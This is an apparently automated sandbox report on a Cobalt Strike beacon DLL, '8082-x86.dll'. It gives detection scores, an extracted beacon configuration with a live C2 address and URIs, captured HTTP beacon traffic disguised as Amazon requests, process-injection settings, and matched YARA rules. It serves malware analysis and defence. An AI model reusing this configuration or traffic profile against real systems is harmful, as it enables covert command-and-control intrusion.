Windows Analysis Report
8082-x86.dll

Overview

General Information

Sample Name: 8082-x86.dll
Analysis ID: 780200
MD5: 8d72fc6ff9cb0971df587d20dda5e8c8
SHA1: d6031029133084901392b856fe66f00f438d95d9
SHA256: 0b7d19cf030839c3df481069772c7a32b5a3be4c41ce6b436ab69015fa90d98a
Tags: 45139105143CobaltStrikedllopendir
Infos:

Detection

CobaltStrike
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected CobaltStrike
C2 URLs / IPs found in malware configuration
Uses known network protocols on non-standard ports
Machine Learning detection for sample
Uses 32bit PE files
Yara signature match
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Uses code obfuscation techniques (call, push, ret)
Detected TCP or UDP traffic on non-standard ports
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Registers a DLL
Sample execution stops while process was sleeping (likely an evasion)
Program does not show much activity (idle)
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection

barindex
Source: 8082-x86.dll Avira: detected
Source: 8082-x86.dll ReversingLabs: Detection: 87%
Source: 8082-x86.dll Virustotal: Detection: 70% Perma Link
Source: 8082-x86.dll Joe Sandbox ML: detected
Source: 00000000.00000003.364898115.0000000000CE0000.00000020.00001000.00020000.00000000.sdmp Malware Configuration Extractor: CobaltStrike {"BeaconType": ["HTTP"], "Port": 8082, "SleepTime": 38500, "MaxGetSize": 1399607, "Jitter": 27, "C2Server": "20.104.209.69,/broadcast", "HttpPostUri": "/1/events/com.amazon.csm.csa.prod", "Malleable_C2_Instructions": ["Remove 1308 bytes from the end", "Remove 1 bytes from the end", "Remove 194 bytes from the beginning", "Base64 decode"], "SpawnTo": "16nKFaB/gr/TtjAg2jiqFg==", "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\gpupdate.exe", "Spawnto_x64": "%windir%\\sysnative\\gpupdate.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 1670873463, "bStageCleanup": "True", "bCFGCaution": "True", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 16700, "ProcInject_PrependAppend_x86": ["kJCQ", "Empty"], "ProcInject_PrependAppend_x64": ["kJCQ", "Empty"], "ProcInject_Execute": ["ntdll.dll:RtlUserThreadStart", "SetThreadContext", "NtQueueApcThread-s", "kernel32.dll:LoadLibraryA", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "NtMapViewOfSection", "bUsesCookies": "False", "HostHeader": ""}
Source: 8082-x86.dll Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED, DLL

Networking

barindex
Source: Malware configuration extractor URLs: 20.104.209.69
Source: unknown Network traffic detected: HTTP traffic on port 49685 -> 8082
Source: unknown Network traffic detected: HTTP traffic on port 8082 -> 49685
Source: unknown Network traffic detected: HTTP traffic on port 49686 -> 8082
Source: unknown Network traffic detected: HTTP traffic on port 8082 -> 49686
Source: unknown Network traffic detected: HTTP traffic on port 49687 -> 8082
Source: unknown Network traffic detected: HTTP traffic on port 8082 -> 49687
Source: unknown Network traffic detected: HTTP traffic on port 49688 -> 8082
Source: unknown Network traffic detected: HTTP traffic on port 8082 -> 49688
Source: unknown Network traffic detected: HTTP traffic on port 49689 -> 8082
Source: unknown Network traffic detected: HTTP traffic on port 8082 -> 49689
Source: global traffic HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: r1+LKI+U+qsTG/S16NjtFpg7cAwjMocPtkvat6tAYwjHqmlGU2emV8Y1lcR09lFCYMc3e/2RPM9832YnRBnrlczEfASqRi1t67GCC61QvdadrQyZZZnmhHuznJl25Bvzanuao77KXJlOWgkmVJTy+plseuTcyuIUt+jek18kyws=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: r1+LKI+U+qsTG/S16NjtFpg7cAwjMocPtkvat6tAYwjHqmlGU2emV8Y1lcR09lFCYMc3e/2RPM9832YnRBnrlczEfASqRi1t67GCC61QvdadrQyZZZnmhHuznJl25Bvzanuao77KXJlOWgkmVJTy+plseuTcyuIUt+jek18kyws=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /1/events/com.amazon.csm.csa.prod HTTP/1.1Accept: */*Origin: https://www.amazon.comx-amz-rid: MTI4NDQwODUyNAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Content-Length: 14246Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: r1+LKI+U+qsTG/S16NjtFpg7cAwjMocPtkvat6tAYwjHqmlGU2emV8Y1lcR09lFCYMc3e/2RPM9832YnRBnrlczEfASqRi1t67GCC61QvdadrQyZZZnmhHuznJl25Bvzanuao77KXJlOWgkmVJTy+plseuTcyuIUt+jek18kyws=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: r1+LKI+U+qsTG/S16NjtFpg7cAwjMocPtkvat6tAYwjHqmlGU2emV8Y1lcR09lFCYMc3e/2RPM9832YnRBnrlczEfASqRi1t67GCC61QvdadrQyZZZnmhHuznJl25Bvzanuao77KXJlOWgkmVJTy+plseuTcyuIUt+jek18kyws=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic TCP traffic: 192.168.2.4:49685 -> 20.104.209.69:8082
Source: Joe Sandbox View ASN Name: MICROSOFT-CORP-MSN-AS-BLOCKUS MICROSOFT-CORP-MSN-AS-BLOCKUS
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: unknown TCP traffic detected without corresponding DNS query: 20.104.209.69
Source: loaddll32.exe, 00000000.00000002.620161836.0000000000E2E000.00000004.00000800.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000002.620169392.0000000000E58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://d22u79neyj432a.cloudfront.net/bfc50dfa-8e10-44b5-ae59-ac26bfc71489/54857e6d-c060-4b3c-914a-8
Source: unknown HTTP traffic detected: POST /1/events/com.amazon.csm.csa.prod HTTP/1.1Accept: */*Origin: https://www.amazon.comx-amz-rid: MTI4NDQwODUyNAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Content-Length: 14246Connection: Keep-AliveCache-Control: no-cache
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_00951449 _memset,__snprintf,__snprintf,__snprintf,HttpOpenRequestA,InternetQueryDataAvailable,InternetReadFile,InternetCloseHandle, 0_2_00951449
Source: global traffic HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: r1+LKI+U+qsTG/S16NjtFpg7cAwjMocPtkvat6tAYwjHqmlGU2emV8Y1lcR09lFCYMc3e/2RPM9832YnRBnrlczEfASqRi1t67GCC61QvdadrQyZZZnmhHuznJl25Bvzanuao77KXJlOWgkmVJTy+plseuTcyuIUt+jek18kyws=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: r1+LKI+U+qsTG/S16NjtFpg7cAwjMocPtkvat6tAYwjHqmlGU2emV8Y1lcR09lFCYMc3e/2RPM9832YnRBnrlczEfASqRi1t67GCC61QvdadrQyZZZnmhHuznJl25Bvzanuao77KXJlOWgkmVJTy+plseuTcyuIUt+jek18kyws=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: r1+LKI+U+qsTG/S16NjtFpg7cAwjMocPtkvat6tAYwjHqmlGU2emV8Y1lcR09lFCYMc3e/2RPM9832YnRBnrlczEfASqRi1t67GCC61QvdadrQyZZZnmhHuznJl25Bvzanuao77KXJlOWgkmVJTy+plseuTcyuIUt+jek18kyws=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: r1+LKI+U+qsTG/S16NjtFpg7cAwjMocPtkvat6tAYwjHqmlGU2emV8Y1lcR09lFCYMc3e/2RPM9832YnRBnrlczEfASqRi1t67GCC61QvdadrQyZZZnmhHuznJl25Bvzanuao77KXJlOWgkmVJTy+plseuTcyuIUt+jek18kyws=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache

System Summary

barindex
Source: 00000000.00000003.364898115.0000000000CE0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Trojan_Raw_Generic_4 Author: FireEye
Source: 00000000.00000003.364898115.0000000000CE0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000003.364898115.0000000000CE0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000003.364898115.0000000000CE0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 8082-x86.dll Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED, DLL
Source: 8082-x86.dll, type: SAMPLE Matched rule: CobaltStrike_Resources_Artifact32_v3_14_to_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/artifact32{.dll,.exe,big.exe,big.dll,bigsvc.exe} signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x and resources/artifact32uac.dll for v3.14 and v4.0, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 888bae8d89c03c1d529b04f9e4a051140ce3d7b39bc9ea021ad9fc7c9f467719
Source: 00000000.00000002.620024884.0000000000950000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: CobaltStrike_Sleeve_Beacon_Dll_v4_3_v4_4_v4_5_and_v4_6 date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s sleeve/beacon.dll Versions 4.3 and 4.4, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, rs2 = 78a6fbefa677eeee29d1af4a294ee57319221b329a2fe254442f5708858b37dc, hash = 51490c01c72c821f476727c26fbbc85bdbc41464f95b28cdc577e5701790845f
Source: 00000000.00000003.435119690.00000000012D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_PS1_FromBase64String_Content_Indicator date = 2020-01-25, author = Florian Roth, description = Detects suspicious base64 encoded PowerShell expressions, type = file, reference = https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639
Source: 00000000.00000003.435119690.00000000012D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: CobaltStrike_Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 932dec24b3863584b43caf9bb5d0cfbd7ed1969767d3061a7abdc05d3239ed62
Source: 00000000.00000003.436145653.00000000012D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_PS1_FromBase64String_Content_Indicator date = 2020-01-25, author = Florian Roth, description = Detects suspicious base64 encoded PowerShell expressions, type = file, reference = https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639
Source: 00000000.00000003.436145653.00000000012D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: CobaltStrike_Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 932dec24b3863584b43caf9bb5d0cfbd7ed1969767d3061a7abdc05d3239ed62
Source: 00000000.00000003.435087941.00000000012D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_PS1_FromBase64String_Content_Indicator date = 2020-01-25, author = Florian Roth, description = Detects suspicious base64 encoded PowerShell expressions, type = file, reference = https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639
Source: 00000000.00000003.435087941.00000000012D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: CobaltStrike_Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 932dec24b3863584b43caf9bb5d0cfbd7ed1969767d3061a7abdc05d3239ed62
Source: 00000000.00000003.581071660.00000000012D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_PS1_FromBase64String_Content_Indicator date = 2020-01-25, author = Florian Roth, description = Detects suspicious base64 encoded PowerShell expressions, type = file, reference = https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639
Source: 00000000.00000003.581071660.00000000012D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: CobaltStrike_Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 932dec24b3863584b43caf9bb5d0cfbd7ed1969767d3061a7abdc05d3239ed62
Source: 00000000.00000003.511799758.00000000012D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_PS1_FromBase64String_Content_Indicator date = 2020-01-25, author = Florian Roth, description = Detects suspicious base64 encoded PowerShell expressions, type = file, reference = https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639
Source: 00000000.00000003.511799758.00000000012D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: CobaltStrike_Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 932dec24b3863584b43caf9bb5d0cfbd7ed1969767d3061a7abdc05d3239ed62
Source: 00000000.00000002.620198943.00000000012D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_PS1_FromBase64String_Content_Indicator date = 2020-01-25, author = Florian Roth, description = Detects suspicious base64 encoded PowerShell expressions, type = file, reference = https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639
Source: 00000000.00000002.620198943.00000000012D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: CobaltStrike_Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 932dec24b3863584b43caf9bb5d0cfbd7ed1969767d3061a7abdc05d3239ed62
Source: 00000000.00000003.364898115.0000000000CE0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: CobaltStrike_Sleeve_BeaconLoader_VA_x86_o_v4_3_v4_4_v4_5_and_v4_6 date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 94d1b993a9d5786e0a9b44ea1c0dc27e225c9eb7960154881715c47f9af78cc1
Source: 00000000.00000003.364898115.0000000000CE0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Trojan_Raw_Generic_4 date = 2020-12-02, author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: 00000000.00000003.364898115.0000000000CE0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator date = 2021-07-08, author = yara@s3c.za.net, description = Detects CobaltStrike C2 encoded profile configuration
Source: 00000000.00000003.364898115.0000000000CE0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 00000000.00000003.364898115.0000000000CE0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000003.364898115.0000000000CE0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Metasploit_7bc0f998 os = windows, severity = x86, description = Identifies the API address lookup function leverage by metasploit shellcode, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = fdb5c665503f07b2fc1ed7e4e688295e1222a500bfb68418661db60c8e75e835, id = 7bc0f998-7014-4883-8a56-d5ee00c15aed, last_modified = 2021-08-23
Source: 00000000.00000003.364898115.0000000000CE0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Metasploit_c9773203 os = windows, severity = x86, description = Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., creation_date = 2021-04-07, scan_context = file, memory, reference = https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm, license = Elastic License v2, threat_name = Windows.Trojan.Metasploit, fingerprint = afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36, id = c9773203-6d1e-4246-a1e0-314217e0207a, last_modified = 2021-08-23
Source: Process Memory Space: loaddll32.exe PID: 5560, type: MEMORYSTR Matched rule: SUSP_PS1_FromBase64String_Content_Indicator date = 2020-01-25, author = Florian Roth, description = Detects suspicious base64 encoded PowerShell expressions, type = file, reference = https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639
Source: Process Memory Space: loaddll32.exe PID: 5560, type: MEMORYSTR Matched rule: CobaltStrike_Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x date = 2022-11-18, author = gssincla@google.com, description = Cobalt Strike\'s resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x, reference = https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse, hash = 932dec24b3863584b43caf9bb5d0cfbd7ed1969767d3061a7abdc05d3239ed62
Source: Process Memory Space: loaddll32.exe PID: 5560, type: MEMORYSTR Matched rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator date = 2021-07-08, author = yara@s3c.za.net, description = Detects CobaltStrike C2 encoded profile configuration
Source: C:\Windows\System32\loaddll32.exe Section loaded: wwanmm.dll Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_00953410 0_2_00953410
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_009702D8 0_2_009702D8
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_009614EB 0_2_009614EB
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_00966514 0_2_00966514
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_00973550 0_2_00973550
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_00953541 0_2_00953541
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_00973B20 0_2_00973B20
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_00972CD0 0_2_00972CD0
Source: C:\Windows\System32\loaddll32.exe Code function: String function: 00966ADC appears 37 times
Source: 8082-x86.dll ReversingLabs: Detection: 87%
Source: 8082-x86.dll Virustotal: Detection: 70%
Source: 8082-x86.dll Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\loaddll32.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_009578FB _memset,CreateToolhelp32Snapshot,Process32First,ProcessIdToSessionId,FindCloseChangeNotification, 0_2_009578FB
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\8082-x86.dll",#1
